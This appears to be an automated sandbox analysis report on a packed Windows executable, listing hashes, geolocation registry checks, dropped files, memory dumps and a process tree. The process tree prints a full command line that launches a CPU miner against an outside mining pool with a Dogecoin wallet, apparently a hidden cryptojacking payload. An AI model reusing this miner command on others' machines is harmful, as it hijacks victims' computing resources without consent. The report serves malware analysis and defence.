73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
293s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 07:59

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
100	b2e.exe
1644	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1644	cpuminer-sse2.exe
1644	cpuminer-sse2.exe
1644	cpuminer-sse2.exe
1644	cpuminer-sse2.exe
1644	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1920-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1920 wrote to memory of 100	1920	batexe.exe	85
PID 1920 wrote to memory of 100	1920	batexe.exe	85
PID 1920 wrote to memory of 100	1920	batexe.exe	85
PID 100 wrote to memory of 2200	100	b2e.exe	86
PID 100 wrote to memory of 2200	100	b2e.exe	86
PID 100 wrote to memory of 2200	100	b2e.exe	86
PID 2200 wrote to memory of 1644	2200	cmd.exe	89
PID 2200 wrote to memory of 1644	2200	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Users\Admin\AppData\Local\Temp\6EA8.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6EA8.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6EA8.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\71A6.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2200
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6EA8.tmp\b2e.exe

Filesize
17.6MB

MD5
12c03c8eebd2feecfba296dc375622b4

SHA1
21121bf54a9d2362f3130e719af7ed6d4f0e8cb5

SHA256
de3133d01273a2ebfca3dcf2b80e9362e9f1ba59e1a4c750eaa4c253f778404c

SHA512
bf7f4277a32af5d3c0b7b74b7b9a537c6b9fea20e4d47bbdb0c700e552c2fb76d5b8fb7a5219112f6cc3f9fc864df61836dd75ec13474521228293ad2ad68eb4

Download Submit
C:\Users\Admin\AppData\Local\Temp\6EA8.tmp\b2e.exe

Filesize
8.1MB

MD5
0074ed732dd43fb06aacde6b570db0f2

SHA1
54ba96d0307d98c8f2ebdd1dc6dcc82060cc89ec

SHA256
527d16c30d1cfd8d9292982d67be8cfdf8f4421bd0d5f0ac2b82668648d91a67

SHA512
5caa64cd68509e69356a987b996f06ca3228ced3e946c048a88aff2270c826ccb88b153a96a0c1b323e3facda5df387274435a259312ab2ae9a96152ad873630

Download Submit
C:\Users\Admin\AppData\Local\Temp\6EA8.tmp\b2e.exe

Filesize
8.0MB

MD5
f439dabb4502f411d7c8b44c2fad82bd

SHA1
03e09e0c93580ca8dab1a618eea1579ddeaf5da9

SHA256
19b243eff20ae69d2e271aeb8671e6edae19cfd305876f2d09e5ec6fac5aa283

SHA512
5ad0c4a6a69eb8630b92e7511891fa66774a88d7360a6007c0a039932f13ea2a95521b40c8a4c1a73a8c3a7631f6544120c564ff44d855da1a32d52f2fb835c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\71A6.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.5MB

MD5
fda5e76b0fdaa98085e1c88975fb6668

SHA1
8b91e450a3a044832925a603f9b55b561783ab69

SHA256
2980e40e0964b49a0b9ee93f51adb31285281c0feb0545d5b2ee11f2776a3c17

SHA512
6e3387e17b9e26bc584e95c0e1d4bca43eebfbfb7f3f901bc0f81a82e235649f6c7e794e00de5aa1bd9008df10de9d98e9399f9fe83b7112ae098322fe7f7bac

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
7dfa1f1ce45c1a82fbfb6e8648d49613

SHA1
2903876df9457fb9c09336256ad31a16491f197d

SHA256
1c49b28f8bbc089812984a31e3307d4109e5aaf3ca78ef1088eb92bf570b3ac9

SHA512
551af2919d353244556108beef793cd4bdd40cb5c468dca7fd70b6e4b44c4ce855480e269728acd0ba6e46e3d1aa38926d47621cd3292e2b4691cde1ff110a44

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
76e73605b76f1377c5e853abd7ea41f3

SHA1
68c6f7b9638b318efcc1147584528e57d0cb3449

SHA256
7778343b344e23f4b0cab44d343b462672e7acfbbd154800427fa251075901bf

SHA512
e97ac3f0ff156bc9566f06c4c815fbbb3b1ecf63ae3509da57b1ab1e99044f1e56b20cbc017312c9a5a83ff6dca63e79c585c08e0ad8d7a8d39c46e0ff5617f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/100-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/100-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1644-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1644-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1644-45-0x0000000065110000-0x00000000651A8000-memory.dmp

Filesize
608KB

Download
memory/1644-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1644-47-0x0000000000E40000-0x00000000026F5000-memory.dmp

Filesize
24.7MB

Download
memory/1644-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1644-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1644-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1644-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1644-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1644-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1644-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1644-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1644-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1644-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1920-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download